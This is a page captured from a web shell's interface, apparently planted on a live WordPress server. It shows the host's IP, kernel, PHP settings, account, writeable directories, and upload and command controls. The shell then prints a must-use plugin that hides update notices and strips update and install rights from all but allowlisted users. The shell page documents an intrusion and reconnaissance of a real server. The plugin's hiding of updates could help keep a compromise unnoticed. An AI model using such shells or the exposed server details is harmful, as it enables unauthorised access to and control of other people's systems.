403Webshell
Server IP : 51.178.161.41  /  Your IP : 216.73.216.212
Web Server : nginx/1.18.0
System : Linux vms33 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User : web18 ( 5018)
PHP Version : 8.3.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client1/web18/web/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/web18/web/wp-content/mu-plugins/developer-update-visibility.php
<?php
/**
 * Plugin Name: Developer Update Visibility (MU)
 * Description: Hides all update notices and update actions (plugins, themes, languages, core) for everyone except a configured allowlist of usernames.
 * Author: Lite Solutions
 * Version: 1.2.0
 * Must-Use: true
 */

declare(strict_types=1);

namespace LiteSolutions\Mu\UpdateVisibility;

// ------------------------------------------------------------------------
// Final class: DeveloperUpdateVisibility
// Provides per-user control to hide update UI and deny update capabilities.
// The allowlist of usernames can be configured via wp-config.php using the
// constant DEVELOPER_UPDATE_ALLOWED_USERS. If not defined, defaults to ["developer"].
// All hooks are registered after 'plugins_loaded' to ensure core functions exist.
// ------------------------------------------------------------------------
final class DeveloperUpdateVisibility {

  /**
   * @var array<int, string> DEFAULT_ALLOWED
   *   Default allowlist when wp-config.php does not define DEVELOPER_UPDATE_ALLOWED_USERS.
   */
  private const DEFAULT_ALLOWED = ['developer'];

  /**
   * @var array<int, string> UPDATE_CAPS
   *   List of capability keys related to updates and installations that should
   *   be disabled (unset) for non-allowed users.
   */
  private const UPDATE_CAPS = [
    'update_plugins',
    'update_themes',
    'update_core',
    'update_languages',
    'install_plugins',
    'install_themes',
    'delete_plugins',
    'delete_themes',
  ];

  /**
   * register
   *
   * Registers all necessary hooks after WordPress is loaded enough so that
   * pluggable functions (like is_user_logged_in) are available. No work is done
   * if running in WP-CLI context.
   *
   * @return void
   */
  public static function register(): void {
    // Skip entirely in WP-CLI to avoid interfering with automated tasks.
    if (\defined('WP_CLI') && \WP_CLI) {
      return;
    }

    // Capabilities are filtered always; early return inside the callback if allowed.
    \add_filter('user_has_cap', [self::class, 'filterUserCaps'], 20, 3);

    // Admin-only visual/UI restrictions.
    \add_action('admin_init', [self::class, 'removeUpdateNag'], 1);
    \add_action('admin_head', [self::class, 'printAdminCssToHideUpdates'], 999);
    \add_action('admin_bar_menu', [self::class, 'removeAdminBarUpdates'], 999);
    \add_action('admin_menu', [self::class, 'cleanupAdminMenus'], 999);
    \add_action('network_admin_menu', [self::class, 'cleanupAdminMenus'], 999);
    \add_action('current_screen', [self::class, 'guardUpdateCoreScreen'], 1);
    \add_action('load-update-core.php', [self::class, 'redirectAwayFromUpdates'], 1);
  }

  /**
   * getAllowedUsernames
   *
   * Resolves the allowed usernames from wp-config.php. Accepts either:
   *  - An array constant (e.g., ['developer','alice'])
   *  - A comma-separated string (e.g., 'developer, alice')
   * Fallback: ["developer"].
   *
   * @return array<int, string>
   *   Normalized, unique, lowercase usernames allowed to see updates.
   */
  public static function getAllowedUsernames(): array {
    /** @var mixed $raw */
    $raw = \defined('DEVELOPER_UPDATE_ALLOWED_USERS') ? \constant('DEVELOPER_UPDATE_ALLOWED_USERS') : null;

    $list = [];

    // If wp-config provides an array, use it as-is.
    if (\is_array($raw)) {
      $list = $raw;
    }
    // If wp-config provides a string, split by commas.
    elseif (\is_string($raw) && $raw !== '') {
      $parts = \explode(',', $raw);
      foreach ($parts as $part) {
        $list[] = $part;
      }
    }

    // Fallback to default.
    if (empty($list)) {
      $list = self::DEFAULT_ALLOWED;
    }

    // Normalize: trim, lowercase, remove empties and duplicates.
    $normalized = [];
    foreach ($list as $username) {
      $u = \strtolower(\trim((string) $username));
      if ($u !== '') {
        $normalized[] = $u;
      }
    }

    $normalized = \array_values(\array_unique($normalized));

    /**
     * Filter: developer_update_visibility/allowed_usernames
     * Allows altering the final allowlist.
     *
     * @param array<int, string> $normalized
     *   The normalized allowlist.
     */
    $normalized = (array) \apply_filters('developer_update_visibility/allowed_usernames', $normalized);

    return $normalized;
  }

  /**
   * isAllowedUser
   *
   * Determines whether the current user belongs to the privileged allowlist
   * who can see and use update features.
   *
   * @return bool
   *   TRUE if current user is allowed; FALSE otherwise.
   */
  public static function isAllowedUser(): bool {
    // If no session or user context is available, deny by default.
    if (!\function_exists('is_user_logged_in') || !\is_user_logged_in()) {
      return false;
    }

    $user = \wp_get_current_user();
    if (!$user || empty($user->user_login)) {
      return false;
    }

    $allowed = self::getAllowedUsernames();
    $login   = \strtolower(\trim((string) $user->user_login));

    return \in_array($login, $allowed, true);
  }

  /**
   * filterUserCaps
   *
   * Unsets all update/install related capabilities for non-allowed users.
   * This relies on WordPress' native capability checks so buttons and actions
   * disappear without hacking core or altering transients.
   *
   * @param array<string, bool> $allCaps
   *   All primitive capabilities for the user.
   * @param array<string> $caps
   *   Required caps for the meta capability being checked.
   * @param array<string, mixed> $args
   *   Context of the capability check.
   *
   * @return array<string, bool>
   *   Filtered capabilities array.
   */
  public static function filterUserCaps(array $allCaps, array $caps, array $args): array {
    // If allowed, do not modify capabilities.
    if (self::isAllowedUser() === true) {
      return $allCaps;
    }

    foreach (self::UPDATE_CAPS as $cap) {
      if (isset($allCaps[$cap])) {
        unset($allCaps[$cap]);
      }
    }
    return $allCaps;
  }

  /**
   * removeUpdateNag
   *
   * Removes the classic core "update nag" notice and related hooks to reduce
   * visual noise for non-allowed users.
   *
   * @return void
   */
  public static function removeUpdateNag(): void {
    if (self::isAllowedUser() === true) {
      return;
    }

    // Old-style update nag in admin notices.
    \remove_action('admin_notices', 'update_nag', 3);
    \remove_action('network_admin_notices', 'update_nag', 3);

    // Some hosts/plugins add their own nags about updates; attempt to silence common ones.
    \remove_action('admin_notices', 'maintenance_nag');         // best effort
    \remove_action('network_admin_notices', 'maintenance_nag'); // best effort
  }

  /**
   * printAdminCssToHideUpdates
   *
   * Prints a tiny CSS snippet to hide visual update badges, inline update rows
   * and UI elements that might still appear even when capabilities are removed.
   * This is a non-invasive last layer for edge cases and 3rd-party UIs.
   *
   * @return void
   */
  public static function printAdminCssToHideUpdates(): void {
    if (self::isAllowedUser() === true) {
      return;
    }

    // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
    echo '<style id="developer-update-visibility-css">
      /* Hide red update bubbles on menu items and toolbar */
      .update-plugins, .plugin-count, .theme-count, .awaiting-mod, #wp-admin-bar-updates, .notice.notice-warning.update-nag { display: none !important; }

      /* Hide inline plugin/theme update rows and actions (best effort) */
      .update, .plugin-update-tr, .theme-update, tr.plugin-update-tr, .update-message, .notice.notice-warning.inline.update-message { display: none !important; }

      /* Hide update action links that some UIs render even without caps */
      .row-actions .update, .row-actions .update-now, .row-actions .update-link { display: none !important; }

      /* Hide "Update now" buttons/links in various contexts */
      a.upgrade, a.update-link, .update-now, .button.upgrade, .button.update-now { display: none !important; }
    </style>';
  }

  /**
   * removeAdminBarUpdates
   *
   * Removes the Updates node from the admin bar for non-allowed users.
   *
   * @param \WP_Admin_Bar $wp_admin_bar
   *   The admin bar instance.
   *
   * @return void
   */
  public static function removeAdminBarUpdates(\WP_Admin_Bar $wp_admin_bar): void {
    if (self::isAllowedUser() === true) {
      return;
    }
    $wp_admin_bar->remove_node('updates');
  }

  /**
   * cleanupAdminMenus
   *
   * Removes the "Updates" page from the admin (and network admin) menus.
   * This avoids users directly navigating through the UI to update-core.php.
   *
   * @return void
   */
  public static function cleanupAdminMenus(): void {
    if (self::isAllowedUser() === true) {
      return;
    }
    // Main "Updates" screen.
    \remove_submenu_page('index.php', 'update-core.php');
    \remove_menu_page('update-core.php');
  }

  /**
   * guardUpdateCoreScreen
   *
   * If a non-allowed user reaches the updates screen, redirect them away.
   *
   * @param \WP_Screen $screen
   *   Current admin screen object.
   *
   * @return void
   */
  public static function guardUpdateCoreScreen(\WP_Screen $screen): void {
    if (self::isAllowedUser() === true) {
      return;
    }
    if (isset($screen->base) && $screen->base === 'update-core') {
      self::safeRedirect(\admin_url());
    }
  }

  /**
   * redirectAwayFromUpdates
   *
   * Extra guard executed when update-core.php loads (direct access/bookmarks).
   *
   * @return void
   */
  public static function redirectAwayFromUpdates(): void {
    if (self::isAllowedUser() === true) {
      return;
    }
    self::safeRedirect(\admin_url());
  }

  /**
   * safeRedirect
   *
   * Performs a safe admin redirect and exits if headers can be sent.
   *
   * @param string $url
   *   Destination URL for the redirect.
   *
   * @return void
   */
  private static function safeRedirect(string $url): void {
    if (!\headers_sent()) {
      \wp_safe_redirect($url);
      exit;
    }
  }
}

// ------------------------------------------------------------------------
// Bootstrap
// Initialize after plugins are loaded to ensure pluggable functions exist.
// ------------------------------------------------------------------------
\add_action('plugins_loaded', [DeveloperUpdateVisibility::class, 'register'], 0);

Youez - 2016 - github.com/yon3zu
LinuXploit